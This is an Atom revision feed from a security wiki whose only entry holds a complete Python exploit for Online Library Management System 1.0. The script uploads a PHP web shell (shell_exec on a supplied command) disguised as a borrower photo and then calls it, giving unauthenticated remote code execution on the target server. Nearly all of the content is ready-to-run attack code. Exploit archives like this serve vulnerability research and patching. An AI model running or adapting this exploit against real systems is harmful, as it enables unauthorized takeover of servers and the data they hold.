<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Online_Library_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E</id>
	<title>Online Library Management System 1.0 任意文件上傳漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Online_Library_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Online_Library_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T06:14:07Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Online_Library_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=5573&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; # Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload Remote Code Execution (Unauthenticated) # Date: 23-06-2021 # Exploit Author: Berk Can Geyik...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Online_Library_Management_System_1.0_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=5573&amp;oldid=prev"/>
		<updated>2021-06-24T01:11:12Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; # Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload Remote Code Execution (Unauthenticated) # Date: 23-06-2021 # Exploit Author: Berk Can Geyik...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload Remote Code Execution (Unauthenticated)&lt;br /&gt;
# Date: 23-06-2021&lt;br /&gt;
# Exploit Author: Berk Can Geyikci&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ols.zip&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28&lt;br /&gt;
# Exploit Tested Using: Python 3.8.6&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Steps To Produce:&lt;br /&gt;
1)Click Books&lt;br /&gt;
2)Select one book and click Read more&lt;br /&gt;
3)Get the book id from url #example_url http://localhost/ols/index.php?q=bookdetails&amp;amp;id=15243678&lt;br /&gt;
4)Execute Python Script with URL, Book id and Command&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Import required modules:&lt;br /&gt;
'''&lt;br /&gt;
import sys, hashlib, requests&lt;br /&gt;
import urllib&lt;br /&gt;
import time&lt;br /&gt;
import random&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
#settings&lt;br /&gt;
  target_url = sys.argv[1]&lt;br /&gt;
  book_id    = sys.argv[2]&lt;br /&gt;
  command    = sys.argv[3]&lt;br /&gt;
&lt;br /&gt;
except IndexError:&lt;br /&gt;
&lt;br /&gt;
        print(&amp;quot;- usage: %s &amp;lt;target&amp;gt; &amp;lt;book_id&amp;gt; &amp;lt;command&amp;gt;&amp;quot; % sys.argv[0])&lt;br /&gt;
        print(&amp;quot;- Example: %s http://example.com 15243678 'whoami'&amp;quot; % sys.argv[0])&lt;br /&gt;
        sys.exit()&lt;br /&gt;
&lt;br /&gt;
url = target_url+&amp;quot;/ols/proccess.php?action=add&amp;quot;&lt;br /&gt;
&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
session.get(target_url+&amp;quot;/ols&amp;quot;)&lt;br /&gt;
session_cookies = session.cookies&lt;br /&gt;
php_cookie = session.cookies.get_dict()['PHPSESSID'].strip()&lt;br /&gt;
print(&amp;quot;Getting Session Cookie= &amp;quot;+php_cookie)&lt;br /&gt;
&lt;br /&gt;
random_borrower_id = random.randint(0,999999)&lt;br /&gt;
&lt;br /&gt;
#Headers to upload php&lt;br /&gt;
headers = {&lt;br /&gt;
    &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
    &amp;quot;Referer&amp;quot;: target_url + &amp;quot;/ols/index.php?q=borrow&amp;amp;id=&amp;quot;+ book_id +&amp;quot;/&amp;quot;,&lt;br /&gt;
    &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=----WebKitFormBoundaryBA3sFU893qYE7jKq&amp;quot;,&lt;br /&gt;
    &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;,&lt;br /&gt;
    &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;,&lt;br /&gt;
    &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36&amp;quot;,&lt;br /&gt;
    &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&amp;quot;,&lt;br /&gt;
    &amp;quot;Cookie&amp;quot;: &amp;quot;PHPSESSID=&amp;quot;+php_cookie&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
req = requests.get(target_url+&amp;quot;/ols/index.php?q=borrow&amp;amp;id=&amp;quot;+book_id, headers=headers)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data = &amp;quot;------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;id\&amp;quot;\r\n\r\n15243678\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;BorrowerId\&amp;quot;\r\n\r\n&amp;quot;+str(random_borrower_id)+&amp;quot;\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;deptid\&amp;quot;\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;Firstname\&amp;quot;\r\n\r\ndummy_firstname\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;deptid\&amp;quot;\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;Lastname\&amp;quot;\r\n\r\ndummy_lastname\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;deptid\&amp;quot;\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;MiddleName\&amp;quot;\r\n\r\ndummy_middlename\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;Address\&amp;quot;\r\n\r\ndummy_address\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;optionsRadios\&amp;quot;\r\n\r\nMale\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;ContactNo\&amp;quot;\r\n\r\n1\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;CourseYear\&amp;quot;\r\n\r\n2021\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;BUsername\&amp;quot;\r\n\r\ndummy_username\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;BPassword\&amp;quot;\r\n\r\ndummy_\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;picture\&amp;quot;; filename=\&amp;quot;rcepoc_&amp;quot;+str(random_borrower_id)+&amp;quot;.php\&amp;quot;\r\nContent-Type: application/octet-stream\r\n\r\n&amp;lt;?php\r\n\r\n\r\n\r\necho shell_exec('&amp;quot;+command+&amp;quot;');\r\n\r\n\r\n\r\n?&amp;gt;\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq\r\nContent-Disposition: form-data; name=\&amp;quot;save\&amp;quot;\r\n\r\n\r\n------WebKitFormBoundaryBA3sFU893qYE7jKq--\r\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
req = requests.post(url, headers=headers, data=data)&lt;br /&gt;
print(&amp;quot;Uploading file...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
req = requests.get(target_url+&amp;quot;/ols/proccess.php?action=checkout&amp;amp;id=&amp;quot;+book_id, headers=headers)&lt;br /&gt;
#print(req.text)&lt;br /&gt;
&lt;br /&gt;
req = requests.get(target_url+&amp;quot;/ols/borrower/&amp;quot;, headers=headers)&lt;br /&gt;
#print(req.text)&lt;br /&gt;
&lt;br /&gt;
req = requests.get(target_url+&amp;quot;/ols/asset/images/borrower/&amp;quot;, headers=headers)&lt;br /&gt;
reqq = req.text&lt;br /&gt;
#print(reqq)&lt;br /&gt;
reqqq = reqq.find(str(random_borrower_id))&lt;br /&gt;
command_result = reqq[reqqq-21:reqqq+10]&lt;br /&gt;
&lt;br /&gt;
req = requests.get(target_url+&amp;quot;/ols/asset/images/borrower/&amp;quot;+command_result+&amp;quot;&amp;quot;, headers=headers)&lt;br /&gt;
print(&amp;quot;Command Result = &amp;quot;+req.text)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>